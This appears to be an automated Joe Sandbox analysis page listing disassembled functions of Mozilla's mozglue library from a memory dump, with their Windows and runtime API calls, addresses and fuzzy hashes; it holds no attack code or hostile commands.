Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction ID: 4bae577ba2892f03bb6f1278af77a25595c102d96fd1185dc0671bae05ec1676
Opcode Fuzzy Hash: 31e365f89d59d7e06a2cb2fd489cb08d7e5c9c7207f9e57073af560ffe06ab28
Instruction Fuzzy Hash: 0231E872A001159BEB188E7DD85147EB7A9FB923647280B2DE423DBFD4EB30D9148792

Function 6C9BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAD9D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

<jemalloc>, xrefs: 6C990D92, 6C990DB9
: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

Details, xrefs: 6C9B1925
name, xrefs: 6C9B1939
{marker.name} - {marker.data.name}, xrefs: 6C9B18C7

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

